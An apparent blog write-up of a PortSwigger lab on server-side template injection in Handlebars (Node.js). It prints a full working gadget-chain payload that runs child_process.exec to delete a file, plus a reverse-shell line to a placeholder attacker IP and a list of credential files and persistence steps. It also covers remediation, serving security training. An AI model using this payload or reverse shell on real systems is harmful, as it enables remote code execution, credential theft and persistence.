Server-Side Template Injection in an Unknown Language

Table of Contents
| Platform | PortSwigger Web Security Academy |
| Topic | Server-side template injection |
| Lab | SSTI in an unknown language with a documented exploit |
| Difficulty | Practitioner |
| Engine | Handlebars (Node.js) |
| Goal | Delete morale.txt from Carlos’s home directory |
| Tools | Burp Suite (Repeater + Decoder) |
The idea#
You won’t always recognize the template syntax in front of you. That’s fine: the job is to make the server throw an error, read the stack trace to learn the engine, and then find a documented exploit for that engine. No prior knowledge of the language is required.
Finding the injection point#
The home page takes a message query parameter and reflects it back on the page.
Here it renders the “out of stock” notice:


That reflected parameter is our surface. Capture the request in Burp and send it to Repeater:

Forcing an error to identify the engine#
First confirm the value is evaluated, not just echoed. Append a $ to the
message; it comes back unchanged, so a plain character is safe:

Now throw a burst of template metacharacters to break whatever parser is behind
it: ${{<%[%'"}}%\
Each piece of that string is special syntax in a different template engine:
${...} (FreeMarker, Thymeleaf), {{ }} (Jinja, Twig, Handlebars), <% %>
(ERB, EJS), plus brackets, quotes and a backslash. Throwing them all at once means
that whatever engine is actually running, at least one of these is invalid syntax
for it, so its parser chokes and spills an error that names it.

The stack trace is the whole answer. It points at
/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/... and ends with
Node.js v19.8.1. The engine is Handlebars, running on Node.js.
Finding a documented exploit#
We don’t need to know Handlebars, we just need someone who already worked out the payload. Search for “Handlebars server-side template injection”:

The HackerOne report #423541 (Shopify “H1514”) is the canonical write-up, and it links to Mahmoud Gamal’s blog with the full payload:


Handlebars blocks direct access to dangerous objects, so the exploit is a gadget
chain: a sequence of individually-allowed template operations strung together to
reach a capability the engine never meant to expose. It walks
constructor.constructor, every JavaScript object’s .constructor points to its
type, and that type’s own .constructor is Function, the built-in that compiles
a string into runnable code, so the chain ends at a function that runs Node code.
The documented version proves execution by returning process.env; we swap that
for a child_process call that runs our command.
Building the payload#
Take the compact payload and replace the body with a command that deletes the target file:
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Sending the documented probe first confirms the chain resolves, the response
leaks function Function() { [native code] }, so our constructor walk worked:

The message value is placed straight into a URL, so URL-encode the whole
payload before sending it. Burp’s Decoder does this in one step:


Send that as the message parameter. The child_process.exec call runs on the
server, morale.txt is deleted, and the lab is solved.
Real-world impact#
Deleting morale.txt is just a safe stand-in: the Handlebars gadget chain gives
arbitrary command execution on the Node.js server. In a real, authorized
engagement the same foothold escalates fast, for example:
- Interactive access — swap the command for a reverse shell
(
require('child_process').exec('bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1')) for a hands-on session instead of firing one command at a time. - Credential & key theft — read anything the web user can:
/etc/passwd, application config and.envfiles, database credentials, cloud tokens, and SSH private keys such as~/.ssh/id_rsa. - Lateral movement — reuse harvested SSH keys or passwords to log into the host or pivot to other machines on the network.
- Persistence & exfiltration — append your key to
~/.ssh/authorized_keys, add a cron job, or stage sensitive data for exfiltration.
It’s the same command execution you used to solve the lab, just pointed at a real objective, which is why these bugs rate critical. Only ever against systems you are authorized to test.
Remediation#
- Never pass user input into a template as source. Render fixed templates and supply user data as bound values only.
- Handlebars is safer when used strictly for data interpolation; avoid exposing
helpers or contexts that let a template reach
constructor. - Keep the runtime and libraries patched, and don’t return raw stack traces to users, that error is what handed us the engine and version.
A concrete, generic example, compiling a fixed template and binding user data, never compiling user input as the template itself:
// Unsafe: user input is compiled as a template
handlebars.compile(userInput)(context);
// Safe: a fixed template, user input passed as a value
const tpl = handlebars.compile("Out of stock: {{msg}}");
tpl({ msg: userInput });Key takeaways#
- The unknown language is only unknown until you make it crash. A verbose stack trace named both the engine (Handlebars) and the platform (Node.js).
- “Documented exploit” is literal: the working payload already existed in a HackerOne report and a public blog; the task is to find and adapt it.
- The Handlebars payload abuses
constructor.constructorto reachFunction, turning template evaluation into arbitrary Node.js execution. - Remember to URL-encode when the sink is a query parameter.
Related posts#
- SSTI via Documentation — the previous lab, reading the engine’s own docs.
- SSTI with User-Supplied Objects — leaking a secret through an exposed object.
- Full series: PortSwigger: Server-Side Template Injection .